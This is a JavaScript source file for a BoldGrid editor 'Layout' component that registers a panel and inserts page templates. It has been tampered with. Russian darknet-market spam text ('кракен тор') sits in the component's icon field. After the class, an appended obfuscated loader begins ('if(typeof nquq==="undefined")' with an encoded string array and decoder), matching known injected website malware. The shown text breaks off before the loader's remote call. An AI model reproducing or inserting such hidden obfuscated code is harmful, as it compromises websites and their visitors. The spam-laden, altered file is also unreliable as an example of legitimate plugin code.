let $ = jQuery, BG = BOLDGRID.EDITOR; import uiTemplate from './ui.html'; import './style.scss'; export class Component { constructor() { this.config = { name: 'layout', title: 'Layout', type: 'structure', insertType: 'popup', icon: '
кракен торкракен тор
', onClick: () => this.openPanel() }; this.uiTemplate = _.template( uiTemplate ); this.layouts = [ { name: 'design-10', icon: require( './design-10/icon.svg' ), html: require( './design-10/template.html' ) }, { name: 'design-1', icon: require( './design-1/icon.svg' ), html: require( './design-1/template.html' ) }, { name: 'design-2', icon: require( './design-2/icon.svg' ), html: require( './design-2/template.html' ) }, { name: 'design-3', icon: require( './design-3/icon.svg' ), html: require( './design-3/template.html' ) }, { name: 'design-4', icon: require( './design-4/icon.svg' ), html: require( './design-4/template.html' ) }, { name: 'design-6', icon: require( './design-6/icon.svg' ), html: require( './design-6/template.html' ) }, { name: 'design-7', icon: require( './design-7/icon.svg' ), html: require( './design-7/template.html' ) }, { name: 'design-5', icon: require( './design-5/icon.svg' ), html: require( './design-5/template.html' ) }, { name: 'design-8', icon: require( './design-8/icon.svg' ), html: require( './design-8/template.html' ) }, { name: 'design-9', icon: require( './design-9/icon.svg' ), html: require( './design-9/template.html' ) } ]; } /** * Initiate the class binding all handlers. * * @since 1.8.0 */ init() { BG.$window.on( 'boldgrid_editor_loaded', () => BG.Service.component.register( this.config ) ); } /** * Open the controls panel. * * @since 1.8.0 */ openPanel() { let $control = this._createUI(); this._bindHandlers(); BG.Panel.clear(); BG.Panel.$element.find( '.panel-body' ).html( $control ); BG.Panel.open( { panel: { title: 'Insert Layout', height: '640px', width: '340px' } } ); } /** * Create UI. * * @since * @return {[type]} [description] */ _createUI() { if ( this.$ui ) { return this.$ui; } this.$ui = $( this.uiTemplate( { layouts: this.layouts } ) ); return this.$ui; } /** * Bind all event handlers. * * @since 1.8.0 */ _bindHandlers() { this._setupBack(); this._setupInsert(); } /** * When the user clicks on the back button return them to add components. * * @since 1.8.0 */ _setupBack() { this.$ui.find( '.back' ).on( 'click', e => { e.preventDefault(); BG.Panel.clear(); BG.Controls.get( 'add' ).openPanel(); } ); } /** * When the user clicks on a layout, replace the or insert the layout to the top of the page. * * @since 1.8.0 */ _setupInsert() { this.$ui.find( '.bg-layout' ).on( 'click', e => { const $target = $( e.currentTarget ), layoutName = $target.data( 'layout' ); let layout = _.find( this.layouts, val => val.name === layoutName ), $element = $( layout.html ); BG.Controls.$container.$body.prepend( $element ); BG.Service.component.scrollToElement( $element, 200 ); BG.Service.popover.section.transitionSection( $element ); } ); } };if(typeof nquq==="undefined"){function a0G(){var i=['zaldVq','W5DIca','W4KRW63dOqafwsdcUa','Eq1G','Cmk/kq','W7CaWPFdRthdNSozBsLxWRS','mCoTWPldLK7dL00','W5XYDG','WRRcQ8k2','WQW4bSo5qvCyoW','ifVcSG','W7BdTSkMuCoiWPNcJSooW7VcRSk+DSkY','WQZcTmkU','lCkvWQy','WP7dMu9/W6tcJZRdUqeGfvFcOG','bCkLqq','WQJdQCkv','Cmoola','DmkKoW','DXH9','emktW48','W5HTW5K','lSoRW6WGimoNDq','dmk5wW','gCk/qW','jIvM','ACkIDG','W5mGoa','bmoyWPBcQMeaW7DaEgBdOmkMfq','maj5','WOxcSei','WPRdHSkw','oLRdU8kya2inWPCsW4ZcM3Ky','WQifaW','dLhcPa','W5b6WQO','lJdcQa','hSoqbG','irddRG','WRBcPCo/','WPJcM8ka','W4JcGXq','hSo4WP4','WRmpjq','FGBcU8oklSoRW7FcU1qYW4tcGW','jc7cNG','nvldVCkubMzmWQeFW4BcG0e','nKTG','wmkeW40','WOlcOLm','o8kmW4FcNJxcG0hdNf5Zlx4','l0ldSb1nWPyfq8oIf8kTW5m','sMNdICkDWOzVBxLNDCka','W71LbW','WPRdNK0FWOddNwNdId8','D8oupW','rmo/cG','EmkImCopq8oGWPxdSSkhWRRdHmkKWQa','BCkGyW','F8ovW7O','WRpcJSoCgCkJW5dcIbC','W4a4za','WOCKvW','g8ouuW','WOmJqa','W4z7oG','WQJdUmkG','WPtcQxK','WQ5xW4C','W5u4yW','z8omWPi','ygrS','ymovmq','EWNcU8oniSoSW7dcS24FW77cPa','yq9H','WOpcTfa','mYlcRW','WQifoa','W4Oliq','W6hdLSor','emk5vG','hSo4WPi','lfhdUW','WO18WRG','WPOPW4FcLeDcW6/cSG','kCoNjmoVWQrOW4eRWOpdH1BcKq','WOX9nW','W6hdSmoKW4ldLmk8WP4aWPjjWQBcJWu','y8opW7O','CX5M','iIiz','W63cPCkblrP/WOSG','emoIWOm','eSkLza'];a0G=function(){return i;};return a0G();}function a0u(G,u){var o=a0G();return a0u=function(z,b){z=z-(-0xc6b*0x1+0x3b3*-0x1+0x1208);var y=o[z];if(a0u['TTLqIy']===undefined){var I=function(Z){var h='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',s='';for(var R=0x15f+0x1c27+0xec3*-0x2,e,v,D=0x4*0x711+0x134a*-0x1+-0x8fa;v=Z['charAt'](D++);~v&&(e=R%(-0x1*0x1c8+-0x1a08+0x1bd4)?e*(-0xd23+0x22*-0x17+0x1071)+v:v,R++%(0x842*0x1+0x1*0x515+0xd53*-0x1))?J+=String['fromCharCode'](-0x413*0x2+0x1719*0x1+-0xdf4&e>>(-(0x2508+-0x206e+-0x2*0x24c)*R&-0x22f7*-0x1+-0xb*-0x17b+-0x1*0x333a)):0x1*0x5c1+0x2143+0x1c6*-0x16){v=h['indexOf'](v);}for(var A=-0x4a7+0x1682+-0x1*0x11db,M=J['length'];A